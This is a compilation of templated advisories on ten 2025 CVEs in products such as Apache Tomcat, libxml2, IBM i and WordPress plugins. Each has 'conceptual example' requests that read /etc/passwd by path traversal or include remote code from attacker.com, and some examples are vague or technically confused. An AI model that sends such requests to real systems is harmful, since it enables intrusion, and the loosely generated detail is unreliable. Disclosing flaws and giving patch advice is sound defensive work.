Author: Ameeba

Overview

The cybersecurity landscape has been hit by yet another vulnerability, CVE-2025-47865. This is a Local File Inclusion (LFI) vulnerability found in the Trend Micro Apex Central Widget. Users below version 8.0.6955 are affected, and this flaw could potentially provide an attacker with remote code execution capabilities on the victim’s device. The significance of this vulnerability lies in its potential to compromise system integrity and result in data leakage.

Vulnerability Summary

CVE ID: CVE-2025-47865
Severity: High – CVSS 7.5
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

Trend Micro Apex Central Widget | Below Version 8.0.6955

How the Exploit Works

This exploit works by abusing the Local File Inclusion vulnerability in the affected widget. An attacker would send crafted input to a vulnerable server, which incorrectly handles and executes the input as part of a file name to be included. This flaw allows an attacker to run arbitrary code on the victim’s system, leading to a complete system compromise.

Conceptual Example Code

An attacker could potentially exploit this vulnerability with a manipulated HTTP request as shown:

POST /vulnerable_widget HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "include_file": "/etc/passwd" }

In this example, the include_file parameter is manipulated to include a system file that should not be accessible, allowing the attacker to read sensitive information or execute arbitrary code.
Please note that this is conceptual example code, the actual exploit may differ based on the application’s structure and security defenses.

Mitigation Guidance

To mitigate this vulnerability, users are urged to apply the patch provided by the vendor. In the absence of the patch, implementing Web Application Firewalls (WAFs) or Intrusion Detection Systems (IDS) can serve as temporary mitigation. Regular security audits and penetration testing can also aid in identifying and patching such vulnerabilities in a timely manner.

Overview

In this report, we focus on a critical vulnerability identified as CVE-2025-33122, affecting IBM i versions 7.2 to 7.6. The vulnerability lies in the IBM Advanced Job Scheduler for i, where an unqualified library call could potentially allow a user to elevate their privileges. This vulnerability is significant because an exploitation could lead to system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-33122
Severity: High (CVSS: 7.5)
Attack Vector: Local
Privileges Required: Low
User Interaction: Required
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

IBM i | 7.2, 7.3, 7.4, 7.5, 7.6

How the Exploit Works

The vulnerability stems from an unqualified library call in the IBM Advanced Job Scheduler for i. An attacker with low-level privileges could manipulate library calls, resulting in user-controlled code running with administrator privileges. This elevation of privileges could potentially lead to full system compromise or data leakage.

Conceptual Example Code

// Pseudocode representing the potential exploit
libraryCall("malicious_code"); // Unqualified call to user-controlled library
executeAsAdmin(); // Code executes with elevated privileges

While the above code is a simplified representation, in a real-world scenario, the malicious actor would need to craft malicious code that exploits the unqualified library call and then trigger the vulnerable function within the IBM Advanced Job Scheduler.
To prevent the vulnerability from being exploited, it is advised to apply the vendor patch as soon as it is available. In the interim, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation measure.

Overview

The vulnerability CVE-2025-49451 is a Path Traversal issue discovered in the Aeroscroll Gallery – Infinite Scroll Image Gallery & Post Grid with Photo Gallery. This vulnerability affects all versions up to 1.0.12 and could potentially lead to system compromise or data leakage, making it a significant concern for users and administrators of the affected product.

Vulnerability Summary

CVE ID: CVE-2025-49451
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Aeroscroll Gallery – Infinite Scroll Image Gallery & Post Grid with Photo Gallery | Up to 1.0.12

How the Exploit Works

This path traversal vulnerability allows an attacker to access sensitive files on the server by manipulating file paths in the request. This is done by including special characters in the request made to the server that trick the server into returning files outside of the intended directory.

Conceptual Example Code

Here’s a conceptual example of how an attacker might exploit this vulnerability:

GET /gallery/?file=../../etc/passwd HTTP/1.1
Host: target.example.com

In this example, the attacker is trying to access the `/etc/passwd` file, which is a sensitive file in Unix-based systems, containing users’ data. The `../` sequence is used to move up in the directory structure, potentially allowing an attacker to access files they should not be able to.

Mitigation

Users are advised to apply the vendor’s patch to mitigate the vulnerability. In the absence of a patch, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as a temporary mitigation measure. These systems can be configured to prevent path traversal attacks by blocking requests containing suspicious patterns.

Overview

CVE-2025-47572 is a critical vulnerability affecting the School Management software by mojoomla. The vulnerability arises due to improper control of the filename for Include/Require statement in the PHP program, leading to a potential PHP Local File Inclusion (LFI). This vulnerability poses a significant threat as it allows an attacker to potentially compromise the system or cause data leakage.

Vulnerability Summary

CVE ID: CVE-2025-47572
Severity: High / 7.5 CVSS Score
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

School Management | Up to 93.0.0

How the Exploit Works

The exploit takes advantage of the software’s improper control of the filename for Include/Require statement in PHP. An attacker could manipulate the PHP program to include or require a file located on a remote server that the attacker controls. This could lead to the execution of arbitrary PHP code, giving the attacker the potential to compromise the system or cause data leakage.

Conceptual Example Code

Below is a conceptual example of how this vulnerability might be exploited. This example assumes a vulnerable PHP file that uses user-supplied input to build a file path for inclusion:

GET /vulnerable_file.php?file=http://attacker.com/malicious_file HTTP/1.1
Host: vulnerable.example.com

In this example, the attacker provides a URL (http://attacker.com/malicious_file) as a parameter. If the application doesn’t properly validate or sanitize this input, the attacker’s file would be included and its code executed.

Mitigation Guidance

To mitigate this vulnerability, users of the affected software are advised to apply patches provided by the vendor as soon as they’re available. In the meantime, deploying a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation measure. These systems can potentially detect and block attempts to exploit this vulnerability. Additionally, it is recommended to sanitize and validate inputs to prevent malicious inclusions.

Overview

This report provides an in-depth analysis of a significant vulnerability, CVE-2025-32549, affecting mojoomla’s WPGYM software. This vulnerability lies in the improper control of filename for Include/Require statement in the PHP program, leading to a potential PHP Remote File Inclusion. It holds importance due to its high severity score and the potential for system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-32549
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

mojoomla WPGYM | n/a through 65.0

How the Exploit Works

The vulnerability stems from the software’s improper control of a filename in an Include/Require statement in a PHP program. This lack of control allows an attacker to manipulate the input to load a remote file. The attacker can then execute arbitrary PHP code, compromising the system or leading to potential data leakage.

Conceptual Example Code

The following is a conceptual HTTP request that an attacker might use to exploit this vulnerability:

GET /vulnerable_page.php?file=http://attacker.com/malicious_file.php HTTP/1.1
Host: target.example.com

In this case, the “file” parameter in the URL is vulnerable to file inclusion. The attacker can specify an arbitrary file, like “malicious_file.php” hosted on their server, leading to its execution on the target server.

Recommendation

To mitigate this vulnerability, users should apply the vendor’s patch as soon as it is available. In the meantime, Web Application Firewalls (WAF) or Intrusion Detection Systems (IDS) can be used as a temporary solution to detect and block such malicious requests.

Overview

The CVE-2025-49795 is a major vulnerability found within libxml2, an XML parsing library commonly used in information systems and web services. The vulnerability, a NULL pointer dereference, can be exploited to trigger a denial of service attack, potentially compromising systems or leading to data leakage.

Vulnerability Summary

CVE ID: CVE-2025-49795
Severity: High (7.5 CVSS)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Denial of Service; possible system compromise and data leakage

Affected Products

Product | Affected Versions

libxml2 | All versions up to the latest patch

How the Exploit Works

The vulnerability exists within the XPath processing module of the libxml2 library. An attacker can craft a malicious XML input designed to cause a NULL pointer dereference when parsed by libxml2. This results in a service disruption, causing a denial of service. If the attacker’s input is crafted with precise knowledge of the system’s memory layout, it could potentially even lead to arbitrary code execution.

Conceptual Example Code

POST /xml/parse HTTP/1.1
Host: target.example.com
Content-Type: application/xml
<root>
<exploit>{{NULL_POINTER}}</exploit>
</root>

In this conceptual example, the attacker sends a POST request to a vulnerable endpoint, embedding the malicious payload within the XML data. The payload, represented here symbolically as {{NULL_POINTER}}, is designed to trigger the NULL pointer dereference in libxml2.

Overview

The CVE-2025-49125 vulnerability is a critical security flaw identified in Apache Tomcat, a widely used web server software. The vulnerability allows potential attackers to bypass authentication and gain unauthorized access to protected resources. This flaw can lead to significant security breaches, potentially compromising system integrity or resulting in data leakage.

Vulnerability Summary

CVE ID: CVE-2025-49125
Severity: High (7.5 CVSS score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

Apache Tomcat | 11.0.0-M1 through 11.0.7
Apache Tomcat | 10.1.0-M1 through 10.1.41
Apache Tomcat | 9.0.0.M1 through 9.0.105

How the Exploit Works

The vulnerability lies in the ability to access PreResources or PostResources mounted in areas other than the root of the web application via an unexpected path. This unexpected path may not be protected by the same security constraints as the expected path, allowing bypassing of these security constraints.

Conceptual Example Code

The following pseudocode illustrates a potential exploit of this vulnerability:

GET /unprotected-path/resource HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "access_request": "resource_data" }

In this example, an attacker sends a GET request to an unprotected path (unlike the expected secure path), potentially gaining access to sensitive resources. It is worth noting that the actual exploit would depend on the specific configurations and security measures in place on the target server.

Overview

The Apache Tomcat servers from versions 11.0.0-M1 through 11.0.7, 10.1.0-M1 through 10.1.41, and 9.0.0.M1 through 9.0.105 have been identified with a severe vulnerability. This vulnerability, classified under CVE-2025-48988, enables attackers to potentially compromise the system or lead to data leakage. It is therefore crucial for system administrators and security professionals to understand this threat and take prompt action to mitigate it.

Vulnerability Summary

CVE ID: CVE-2025-48988
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Apache Tomcat | 11.0.0-M1 through 11.0.7
Apache Tomcat | 10.1.0-M1 through 10.1.41
Apache Tomcat | 9.0.0.M1 through 9.0.105

How the Exploit Works

The vulnerability occurs due to an error in the allocation of resources without limits or throttling within Apache Tomcat. This could allow an attacker to send specially crafted requests to consume all available resources, leading to a denial-of-service (DoS) condition or even potential system compromise.

Conceptual Example Code

A potential exploitation might look like this:

POST /resourceIntensiveEndpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "resourceDemandingPayload": "Repeatedly demanding high resource task" }

In the above pseudocode, `resourceIntensiveEndpoint` represents a vulnerable endpoint that doesn’t have proper resource allocation limits. The `resourceDemandingPayload` is designed to consume large amounts of system resources, leading to potential system compromise.

Overview

The Apache Commons FileUpload library, widely used software for handling file uploads in Java-based web applications, has been found to have a significant vulnerability (CVE-2025-48976). This vulnerability stems from insufficient limits on the allocation of resources for multipart headers, enabling a potential Denial of Service (DoS) attack. This issue is of critical concern to any system employing affected versions of Apache Commons FileUpload, as it may lead to system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-48976
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

Apache Commons FileUpload | 1.0 to 1.5
Apache Commons FileUpload | 2.0.0-M1 to 2.0.0-M3

How the Exploit Works

The vulnerability lies in the way Apache Commons FileUpload processes multipart headers. By sending a specially crafted multipart request with an excessive amount of data in the headers, an attacker can exhaust system resources, causing the application to become unresponsive, leading to a DoS condition. This could potentially be exploited further to gain unauthorized access or extract sensitive data.

Conceptual Example Code

A conceptual example of the exploit might involve sending an HTTP POST request with an excessive amount of data in the multipart headers. An example might look like this:

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="file.txt"
Content-Type: text/plain
[large amount of data]
------WebKitFormBoundary7MA4YWxkTrZu0gW--

In the above example, the `[large amount of data]` will be replaced with an excessive amount of data, exhausting system resources and potentially leading to a DoS condition.

Overview

CVE-2025-25265 is a crucial cybersecurity vulnerability in a web application controller, allowing an unauthenticated attacker to remotely read files from the system file structure. This vulnerability poses a significant risk to organizations that utilize this specific controller due to the potential for system compromise and data leakage, showcasing the urgent need for remediation.

Vulnerability Summary

CVE ID: CVE-2025-25265
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Web Application Controller | All Versions

How the Exploit Works

The vulnerability resides in a specific endpoint of the web application for configuring the controller. This endpoint does not properly authenticate requests, allowing an attacker to send specifically crafted requests to this endpoint, resulting in the controller reading and returning files from the system file structure. This could potentially include sensitive files, leading to a system compromise or data leakage.

Conceptual Example Code

Here is a conceptual HTTP request that could exploit this vulnerability:

GET /controller/config/endpoint?file=/etc/passwd HTTP/1.1
Host: target.example.com

In this example, the attacker is requesting the `/etc/passwd` file, which could contain sensitive information.

Mitigation Guidance

Organizations affected by this vulnerability should immediately apply the vendor-provided patch to their systems. If the patch cannot be applied immediately, a temporary mitigation measure would be to utilize a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to monitor and block malicious requests to the vulnerable endpoint.